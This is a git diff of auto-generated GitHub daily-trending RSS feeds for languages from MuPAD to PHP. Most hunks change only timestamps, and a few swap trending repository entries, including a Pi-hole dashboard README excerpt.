+++ b/mupad/daily/index.xml
@@ -1,7 +1,7 @@
GitHub mupad Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:44Z
+ 2023-12-13T01:38:53Z
Daily Trending of mupad in GitHub
\ No newline at end of file
diff --git a/muse/daily/index.xml b/muse/daily/index.xml
index fd77b0a5c35..8e59ec9ef94 100644
--- a/muse/daily/index.xml
+++ b/muse/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Muse Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:42Z
+ 2023-12-13T01:38:54Z
Daily Trending of Muse in GitHub
\ No newline at end of file
diff --git a/mustache/daily/index.xml b/mustache/daily/index.xml
index 6ad1525de9b..25437245ac6 100644
--- a/mustache/daily/index.xml
+++ b/mustache/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Mustache Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:46Z
+ 2023-12-13T01:38:58Z
Daily Trending of Mustache in GitHub
\ No newline at end of file
diff --git a/myghty/daily/index.xml b/myghty/daily/index.xml
index 22b10b8eddb..7832bbb9cdb 100644
--- a/myghty/daily/index.xml
+++ b/myghty/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Myghty Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:43Z
+ 2023-12-13T01:38:54Z
Daily Trending of Myghty in GitHub
\ No newline at end of file
diff --git a/nanorc/daily/index.xml b/nanorc/daily/index.xml
index 90736f23f26..7ec6a1094e0 100644
--- a/nanorc/daily/index.xml
+++ b/nanorc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub nanorc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:48Z
+ 2023-12-13T01:38:59Z
Daily Trending of nanorc in GitHub
\ No newline at end of file
diff --git a/nasl/daily/index.xml b/nasl/daily/index.xml
index 7994d5326cf..bb7c6154f6b 100644
--- a/nasl/daily/index.xml
+++ b/nasl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NASL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:50Z
+ 2023-12-13T01:39:01Z
Daily Trending of NASL in GitHub
\ No newline at end of file
diff --git a/ncl/daily/index.xml b/ncl/daily/index.xml
index 212d41bf402..52ae05a1500 100644
--- a/ncl/daily/index.xml
+++ b/ncl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NCL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:51Z
+ 2023-12-13T01:39:00Z
Daily Trending of NCL in GitHub
\ No newline at end of file
diff --git a/nearley/daily/index.xml b/nearley/daily/index.xml
index 28b783bb0f2..ab120eabcd2 100644
--- a/nearley/daily/index.xml
+++ b/nearley/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nearley Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:53Z
+ 2023-12-13T01:39:05Z
Daily Trending of Nearley in GitHub
\ No newline at end of file
diff --git a/nemerle/daily/index.xml b/nemerle/daily/index.xml
index aa28143b417..0143c950392 100644
--- a/nemerle/daily/index.xml
+++ b/nemerle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nemerle Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:54Z
+ 2023-12-13T01:39:04Z
Daily Trending of Nemerle in GitHub
\ No newline at end of file
diff --git a/neon/daily/index.xml b/neon/daily/index.xml
index eab5b940ea1..08a09f2d43c 100644
--- a/neon/daily/index.xml
+++ b/neon/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NEON Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:52Z
+ 2023-12-13T01:39:06Z
Daily Trending of NEON in GitHub
\ No newline at end of file
diff --git a/nesc/daily/index.xml b/nesc/daily/index.xml
index 9e8d1e485a9..5d9277f7376 100644
--- a/nesc/daily/index.xml
+++ b/nesc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub nesC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:55Z
+ 2023-12-13T01:39:07Z
Daily Trending of nesC in GitHub
\ No newline at end of file
diff --git a/netlinx+erb/daily/index.xml b/netlinx+erb/daily/index.xml
index 44bc424ff16..aca2bf6839d 100644
--- a/netlinx+erb/daily/index.xml
+++ b/netlinx+erb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NetLinx+ERB Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:57Z
+ 2023-12-13T01:39:08Z
Daily Trending of NetLinx+ERB in GitHub
\ No newline at end of file
diff --git a/netlinx/daily/index.xml b/netlinx/daily/index.xml
index cffa019cbf1..7fb55acea23 100644
--- a/netlinx/daily/index.xml
+++ b/netlinx/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NetLinx Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:56Z
+ 2023-12-13T01:39:09Z
Daily Trending of NetLinx in GitHub
\ No newline at end of file
diff --git a/netlogo/daily/index.xml b/netlogo/daily/index.xml
index 1a23c31abf6..471db1bf9c0 100644
--- a/netlogo/daily/index.xml
+++ b/netlogo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NetLogo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:58Z
+ 2023-12-13T01:39:11Z
Daily Trending of NetLogo in GitHub
\ No newline at end of file
diff --git a/newlisp/daily/index.xml b/newlisp/daily/index.xml
index 9deaaf09a2c..7257f54454f 100644
--- a/newlisp/daily/index.xml
+++ b/newlisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NewLisp Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:54:59Z
+ 2023-12-13T01:39:10Z
Daily Trending of NewLisp in GitHub
\ No newline at end of file
diff --git a/nextflow/daily/index.xml b/nextflow/daily/index.xml
index bd9ab653d20..8977b33490f 100644
--- a/nextflow/daily/index.xml
+++ b/nextflow/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nextflow Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:02Z
+ 2023-12-13T01:39:14Z
Daily Trending of Nextflow in GitHub
\ No newline at end of file
diff --git a/nginx/daily/index.xml b/nginx/daily/index.xml
index e2d6307d18f..4375b631108 100644
--- a/nginx/daily/index.xml
+++ b/nginx/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nginx Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:02Z
+ 2023-12-13T01:39:17Z
Daily Trending of Nginx in GitHub
\ No newline at end of file
diff --git a/nim/daily/index.xml b/nim/daily/index.xml
index f88ea23c9a2..640fd2b4ecd 100644
--- a/nim/daily/index.xml
+++ b/nim/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nim Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:04Z
+ 2023-12-13T01:39:15Z
Daily Trending of Nim in GitHub
\ No newline at end of file
diff --git a/ninja/daily/index.xml b/ninja/daily/index.xml
index a27cc4604b4..c2b69cd008a 100644
--- a/ninja/daily/index.xml
+++ b/ninja/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ninja Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:01Z
+ 2023-12-13T01:39:12Z
Daily Trending of Ninja in GitHub
\ No newline at end of file
diff --git a/nit/daily/index.xml b/nit/daily/index.xml
index f3a41a795bf..f7e983334d1 100644
--- a/nit/daily/index.xml
+++ b/nit/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nit Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:05Z
+ 2023-12-13T01:39:20Z
Daily Trending of Nit in GitHub
\ No newline at end of file
diff --git a/nix/daily/index.xml b/nix/daily/index.xml
index 6c8045df526..91c41e7a44b 100644
--- a/nix/daily/index.xml
+++ b/nix/daily/index.xml
@@ -1,14 +1,21 @@
GitHub Nix Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:11Z
+ 2023-12-13T01:39:24Z
Daily Trending of Nix in GitHub
- MatthewCroughan/NixThePlanet
- 2023-12-12T01:55:11Z
- tag:github.com,2023-12-12:/MatthewCroughan/NixThePlanet
-
- <p>Run macOS, Windows and more via a single Nix command, or simple nixosModules</p><hr>
+ Janik-Haag/NixOS-DNS
+ 2023-12-13T01:39:24Z
+ tag:github.com,2023-12-13:/Janik-Haag/NixOS-DNS
+
+ <p>Manage your dns zones with NixOS</p><hr>
+
+
+ dustinlyons/nix-starter-config
+ 2023-12-13T01:39:24Z
+ tag:github.com,2023-12-13:/dustinlyons/nix-starter-config
+
+ <p>Nix starter config for MacOS and NixOS + step-by-step guides ✨</p><hr>
\ No newline at end of file
diff --git a/nl/daily/index.xml b/nl/daily/index.xml
index cf618113305..80e8ccb71d2 100644
--- a/nl/daily/index.xml
+++ b/nl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:06Z
+ 2023-12-13T01:39:19Z
Daily Trending of NL in GitHub
\ No newline at end of file
diff --git a/npm-config/daily/index.xml b/npm-config/daily/index.xml
index 6b09342aca1..44856e2171e 100644
--- a/npm-config/daily/index.xml
+++ b/npm-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NPM Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:07Z
+ 2023-12-13T01:39:18Z
Daily Trending of NPM Config in GitHub
\ No newline at end of file
diff --git a/nsis/daily/index.xml b/nsis/daily/index.xml
index 9f55d6b3b45..70abe08e02e 100644
--- a/nsis/daily/index.xml
+++ b/nsis/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NSIS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:16Z
+ 2023-12-13T01:39:26Z
Daily Trending of NSIS in GitHub
\ No newline at end of file
diff --git a/nu/daily/index.xml b/nu/daily/index.xml
index 5c2b613cff0..9c79cb1fd64 100644
--- a/nu/daily/index.xml
+++ b/nu/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nu Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:12Z
+ 2023-12-13T01:39:28Z
Daily Trending of Nu in GitHub
\ No newline at end of file
diff --git a/numpy/daily/index.xml b/numpy/daily/index.xml
index 97621ac5423..0b11df7ed69 100644
--- a/numpy/daily/index.xml
+++ b/numpy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NumPy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:13Z
+ 2023-12-13T01:39:27Z
Daily Trending of NumPy in GitHub
\ No newline at end of file
diff --git a/nunjucks/daily/index.xml b/nunjucks/daily/index.xml
index 175a3cf2155..3fa41ce9499 100644
--- a/nunjucks/daily/index.xml
+++ b/nunjucks/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Nunjucks Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:14Z
+ 2023-12-13T01:39:31Z
Daily Trending of Nunjucks in GitHub
\ No newline at end of file
diff --git a/nwscript/daily/index.xml b/nwscript/daily/index.xml
index 39fe939e75f..0d9196b38da 100644
--- a/nwscript/daily/index.xml
+++ b/nwscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub NWScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:19Z
+ 2023-12-13T01:39:34Z
Daily Trending of NWScript in GitHub
\ No newline at end of file
diff --git a/objdump/daily/index.xml b/objdump/daily/index.xml
index 7e90ac64cde..833d0c76d8d 100644
--- a/objdump/daily/index.xml
+++ b/objdump/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ObjDump Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:24Z
+ 2023-12-13T01:39:38Z
Daily Trending of ObjDump in GitHub
\ No newline at end of file
diff --git a/object-data-instance-notation/daily/index.xml b/object-data-instance-notation/daily/index.xml
index a35d26e4cc3..2fcd2f363f0 100644
--- a/object-data-instance-notation/daily/index.xml
+++ b/object-data-instance-notation/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Object Data Instance Notation Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:23Z
+ 2023-12-13T01:39:39Z
Daily Trending of Object Data Instance Notation in GitHub
\ No newline at end of file
diff --git a/objective-c++/daily/index.xml b/objective-c++/daily/index.xml
index a30fae0e105..49b08ee9f06 100644
--- a/objective-c++/daily/index.xml
+++ b/objective-c++/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Objective-C++ Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:29Z
+ 2023-12-13T01:39:45Z
Daily Trending of Objective-C++ in GitHub
\ No newline at end of file
diff --git a/objective-c/daily/index.xml b/objective-c/daily/index.xml
index f7478089552..11fc66d5730 100644
--- a/objective-c/daily/index.xml
+++ b/objective-c/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Objective-C Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:33Z
+ 2023-12-13T01:39:49Z
Daily Trending of Objective-C in GitHub
-
- LeaguePlayer/razvlekatorios
- 2023-12-12T01:55:33Z
- tag:github.com,2023-12-12:/LeaguePlayer/razvlekatorios
-
- <p></p><hr><h1>razvlekatorios</h1>
-
\ No newline at end of file
diff --git a/objective-j/daily/index.xml b/objective-j/daily/index.xml
index 7794b71899a..72ba0a1a265 100644
--- a/objective-j/daily/index.xml
+++ b/objective-j/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Objective-J Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:27Z
+ 2023-12-13T01:39:41Z
Daily Trending of Objective-J in GitHub
\ No newline at end of file
diff --git a/objectscript/daily/index.xml b/objectscript/daily/index.xml
index 20615f069f8..8d9b8203c39 100644
--- a/objectscript/daily/index.xml
+++ b/objectscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ObjectScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:25Z
+ 2023-12-13T01:39:42Z
Daily Trending of ObjectScript in GitHub
\ No newline at end of file
diff --git a/ocaml/daily/index.xml b/ocaml/daily/index.xml
index 8868727f28b..4819f3a1650 100644
--- a/ocaml/daily/index.xml
+++ b/ocaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OCaml Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:44Z
+ 2023-12-13T01:40:04Z
Daily Trending of OCaml in GitHub
\ No newline at end of file
diff --git a/odin/daily/index.xml b/odin/daily/index.xml
index 60036a1be1a..3251f87cf21 100644
--- a/odin/daily/index.xml
+++ b/odin/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Odin Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:45Z
+ 2023-12-13T01:40:02Z
Daily Trending of Odin in GitHub
\ No newline at end of file
diff --git a/omgrofl/daily/index.xml b/omgrofl/daily/index.xml
index 73883cb5b2c..fb5865f79b2 100644
--- a/omgrofl/daily/index.xml
+++ b/omgrofl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Omgrofl Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:41Z
+ 2023-12-13T01:40:05Z
Daily Trending of Omgrofl in GitHub
\ No newline at end of file
diff --git a/ooc/daily/index.xml b/ooc/daily/index.xml
index dbb18c0b01a..f83ba2f1121 100644
--- a/ooc/daily/index.xml
+++ b/ooc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ooc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:42Z
+ 2023-12-13T01:40:01Z
Daily Trending of ooc in GitHub
\ No newline at end of file
diff --git a/opa/daily/index.xml b/opa/daily/index.xml
index 4428ad09c55..bfc3a23f155 100644
--- a/opa/daily/index.xml
+++ b/opa/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Opa Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:47Z
+ 2023-12-13T01:40:08Z
Daily Trending of Opa in GitHub
\ No newline at end of file
diff --git a/opal/daily/index.xml b/opal/daily/index.xml
index 6e7c1b9b5f5..ee3411062ec 100644
--- a/opal/daily/index.xml
+++ b/opal/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Opal Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:48Z
+ 2023-12-13T01:40:07Z
Daily Trending of Opal in GitHub
\ No newline at end of file
diff --git a/open-policy-agent/daily/index.xml b/open-policy-agent/daily/index.xml
index 3f7aed26ce0..f26cd576b43 100644
--- a/open-policy-agent/daily/index.xml
+++ b/open-policy-agent/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Open Policy Agent Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:50Z
+ 2023-12-13T01:40:10Z
Daily Trending of Open Policy Agent in GitHub
\ No newline at end of file
diff --git a/opencl/daily/index.xml b/opencl/daily/index.xml
index 25c43b05673..b0e21761390 100644
--- a/opencl/daily/index.xml
+++ b/opencl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenCL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:54Z
+ 2023-12-13T01:40:11Z
Daily Trending of OpenCL in GitHub
\ No newline at end of file
diff --git a/openedge-abl/daily/index.xml b/openedge-abl/daily/index.xml
index ae79d1f9aae..8fb6e92f2c0 100644
--- a/openedge-abl/daily/index.xml
+++ b/openedge-abl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenEdge ABL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:52Z
+ 2023-12-13T01:40:12Z
Daily Trending of OpenEdge ABL in GitHub
\ No newline at end of file
diff --git a/openqasm/daily/index.xml b/openqasm/daily/index.xml
index 94d95e0ed04..f62ca45f468 100644
--- a/openqasm/daily/index.xml
+++ b/openqasm/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenQASM Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:53Z
+ 2023-12-13T01:40:13Z
Daily Trending of OpenQASM in GitHub
\ No newline at end of file
diff --git a/openrc-runscript/daily/index.xml b/openrc-runscript/daily/index.xml
index 32fcb227423..cc3eac0d56b 100644
--- a/openrc-runscript/daily/index.xml
+++ b/openrc-runscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenRC runscript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:56Z
+ 2023-12-13T01:40:17Z
Daily Trending of OpenRC runscript in GitHub
\ No newline at end of file
diff --git a/openscad/daily/index.xml b/openscad/daily/index.xml
index 33ea02c78cc..ed87c5c16c9 100644
--- a/openscad/daily/index.xml
+++ b/openscad/daily/index.xml
@@ -1,7 +1,14 @@
GitHub OpenSCAD Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:57Z
+ 2023-12-13T01:40:18Z
Daily Trending of OpenSCAD in GitHub
+
+ paenian/bertha
+ 2023-12-13T01:40:18Z
+ tag:github.com,2023-12-13:/paenian/bertha
+
+ <p>large format Rostock style extrusion printer.</p><hr>
+
\ No newline at end of file
diff --git a/openstep-property-list/daily/index.xml b/openstep-property-list/daily/index.xml
index 871f3bcdbef..a18bd96a732 100644
--- a/openstep-property-list/daily/index.xml
+++ b/openstep-property-list/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenStep Property List Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:55Z
+ 2023-12-13T01:40:15Z
Daily Trending of OpenStep Property List in GitHub
\ No newline at end of file
diff --git a/opentype-feature-file/daily/index.xml b/opentype-feature-file/daily/index.xml
index 7f8851fdf74..7146de8723d 100644
--- a/opentype-feature-file/daily/index.xml
+++ b/opentype-feature-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub OpenType Feature File Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:58Z
+ 2023-12-13T01:40:16Z
Daily Trending of OpenType Feature File in GitHub
\ No newline at end of file
diff --git a/org/daily/index.xml b/org/daily/index.xml
index 09b82738cc9..2a77655f46b 100644
--- a/org/daily/index.xml
+++ b/org/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Org Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:01Z
+ 2023-12-13T01:40:22Z
Daily Trending of Org in GitHub
\ No newline at end of file
diff --git a/ox/daily/index.xml b/ox/daily/index.xml
index 758ba88cff4..a857b1155c1 100644
--- a/ox/daily/index.xml
+++ b/ox/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ox Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:55:59Z
+ 2023-12-13T01:40:21Z
Daily Trending of Ox in GitHub
\ No newline at end of file
diff --git a/oxygene/daily/index.xml b/oxygene/daily/index.xml
index f114622e9c3..6d06e86c730 100644
--- a/oxygene/daily/index.xml
+++ b/oxygene/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Oxygene Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:02Z
+ 2023-12-13T01:40:20Z
Daily Trending of Oxygene in GitHub
\ No newline at end of file
diff --git a/oz/daily/index.xml b/oz/daily/index.xml
index 74f0e3f1c45..40440b8aa28 100644
--- a/oz/daily/index.xml
+++ b/oz/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Oz Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:04Z
+ 2023-12-13T01:40:23Z
Daily Trending of Oz in GitHub
\ No newline at end of file
diff --git a/p4/daily/index.xml b/p4/daily/index.xml
index 3fe5750ca5c..3efa4894581 100644
--- a/p4/daily/index.xml
+++ b/p4/daily/index.xml
@@ -1,7 +1,7 @@
GitHub P4 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:07Z
+ 2023-12-13T01:40:26Z
Daily Trending of P4 in GitHub
\ No newline at end of file
diff --git a/pan/daily/index.xml b/pan/daily/index.xml
index 9778bacfb99..af690b56b93 100644
--- a/pan/daily/index.xml
+++ b/pan/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pan Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:05Z
+ 2023-12-13T01:40:25Z
Daily Trending of Pan in GitHub
\ No newline at end of file
diff --git a/papyrus/daily/index.xml b/papyrus/daily/index.xml
index 4e959f4e205..da73bc41c4d 100644
--- a/papyrus/daily/index.xml
+++ b/papyrus/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Papyrus Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:09Z
+ 2023-12-13T01:40:27Z
Daily Trending of Papyrus in GitHub
\ No newline at end of file
diff --git a/parrot-assembly/daily/index.xml b/parrot-assembly/daily/index.xml
index a57087cf7ba..434067f3596 100644
--- a/parrot-assembly/daily/index.xml
+++ b/parrot-assembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Parrot Assembly Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:11Z
+ 2023-12-13T01:40:28Z
Daily Trending of Parrot Assembly in GitHub
\ No newline at end of file
diff --git a/parrot-internal-representation/daily/index.xml b/parrot-internal-representation/daily/index.xml
index c95f107761b..38a65cba938 100644
--- a/parrot-internal-representation/daily/index.xml
+++ b/parrot-internal-representation/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Parrot Internal Representation Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:08Z
+ 2023-12-13T01:40:29Z
Daily Trending of Parrot Internal Representation in GitHub
\ No newline at end of file
diff --git a/parrot/daily/index.xml b/parrot/daily/index.xml
index 7b09920a28f..c3a950a5de5 100644
--- a/parrot/daily/index.xml
+++ b/parrot/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Parrot Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:10Z
+ 2023-12-13T01:40:30Z
Daily Trending of Parrot in GitHub
\ No newline at end of file
diff --git a/pascal/daily/index.xml b/pascal/daily/index.xml
index 0f2cd686bf3..38ac3716b94 100644
--- a/pascal/daily/index.xml
+++ b/pascal/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Pascal Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:16Z
+ 2023-12-13T01:40:36Z
Daily Trending of Pascal in GitHub
-
- EtheaDev/SVGIconImageList
- 2023-12-12T01:56:16Z
- tag:github.com,2023-12-12:/EtheaDev/SVGIconImageList
-
- <p>Four advanced components to simplify use of SVG images and SVG icons into ImageList: TSVGIconImage, TSVGIconImageCollection, TSVGIconVirtualImageList, TSVGIconImageList (for VCL and FMX). Choose the preferred engine to render SVG (Delphi Image32, SKIA4Delphi, Direct2D);</p><hr>
-
\ No newline at end of file
diff --git a/pawn/daily/index.xml b/pawn/daily/index.xml
index 0b130985212..8f263d846d9 100644
--- a/pawn/daily/index.xml
+++ b/pawn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pawn Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:14Z
+ 2023-12-13T01:40:33Z
Daily Trending of Pawn in GitHub
\ No newline at end of file
diff --git a/peg.js/daily/index.xml b/peg.js/daily/index.xml
index dc802ea5455..972f22ebd29 100644
--- a/peg.js/daily/index.xml
+++ b/peg.js/daily/index.xml
@@ -1,7 +1,7 @@
GitHub PEG.js Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:12Z
+ 2023-12-13T01:40:32Z
Daily Trending of PEG.js in GitHub
\ No newline at end of file
diff --git a/pep8/daily/index.xml b/pep8/daily/index.xml
index 4fd808647aa..a19a6886c35 100644
--- a/pep8/daily/index.xml
+++ b/pep8/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Pep8 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:18Z
+ 2023-12-13T01:40:39Z
Daily Trending of Pep8 in GitHub
\ No newline at end of file
diff --git a/perl/daily/index.xml b/perl/daily/index.xml
index d2fe31009c0..74a74213b77 100644
--- a/perl/daily/index.xml
+++ b/perl/daily/index.xml
@@ -1,7 +1,21 @@
GitHub Perl Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:26Z
+ 2023-12-13T01:41:00Z
Daily Trending of Perl in GitHub
+
+ mogyi/KeresoGepLabor
+ 2023-12-13T01:41:00Z
+ tag:github.com,2023-12-13:/mogyi/KeresoGepLabor
+
+ <p>KeresoGep</p><hr>
+
+
+ doy/crawlbot
+ 2023-12-13T01:41:00Z
+ tag:github.com,2023-12-13:/doy/crawlbot
+
+ <p>irc bot for crawl development</p><hr>
+
\ No newline at end of file
diff --git a/php/daily/index.xml b/php/daily/index.xml
index 986edb7bc6b..78943cc6ed1 100644
--- a/php/daily/index.xml
+++ b/php/daily/index.xml
@@ -1,21 +1,14 @@
GitHub PHP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:56:34Z
+ 2023-12-13T01:40:52Z
Daily Trending of PHP in GitHub
- pi-hole/web
- 2023-12-12T01:56:34Z
- tag:github.com,2023-12-12:/pi-hole/web
-
- <p>Pi-hole Dashboard for stats and more</p><hr><p align="center"> <a href="https://pi-hole.net/">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://pi-hole.github.io/graphics/Vortex/Vortex_Vertical_wordmark_darkmode.png">
<source media="(prefers-color-scheme: light)" srcset="https://pi-hole.github.io/graphics/Vortex/Vortex_Vertical_wordmark_lightmode.png">
<img src="https://pi-hole.github.io/graphics/Vortex/Vortex_Vertical_wordmark_lightmode.png" width="168" height="270" alt="Pi-hole website">
</picture> </a> <br> <strong>Network-wide ad blocking via your own Linux hardware</strong> <br> <br> <a href="https://pi-hole.net/"> <img src="https://pi-hole.github.io/graphics/Screenshots/pihole_dashboard_v5.png" alt="Pi-hole Web interface"> </a> </p>
<p>Pi-hole<a href="https://pi-hole.net/trademark-rules-and-brand-guidelines/">®</a>'s Web interface (based off of <a href="https://github.com/ColorlibHQ/AdminLTE">AdminLTE</a>) provides a central location to manage your Pi-hole and review the statistics generated by FTLDNS<a href="https://pi-hole.net/trademark-rules-and-brand-guidelines/">™</a>.</p>
<ul>
<li><strong>Easy-to-interpret</strong>: simple graphs and beautiful colors make Pi-hole's stats easy to understand</li>
<li><strong>Responsive</strong>: looks great on desktop, tablets, and mobile devices</li>
<li><strong>Useful</strong>: control and configure your Pi-hole with our settings</li>
<li><strong>Insightful</strong>: use the query log, audit log, or long-term stats to gain insight into your networks activity</li>
</ul>
<hr>
<p><img src="https://pi-hole.github.io/graphics/Badges/browserstack-badge.png" height="80"><br></p>
<h1>Installation</h1>
<p>The Web interface is enabled by default when you install Pi-hole.</p>
<h2>Post-installation: access the Web interface and gain insight into your network's activity</h2>
<p>There are several ways to <a href="https://discourse.pi-hole.net/t/how-do-i-access-pi-holes-dashboard-admin-interface/3168">access the dashboard</a>:</p>
<ol>
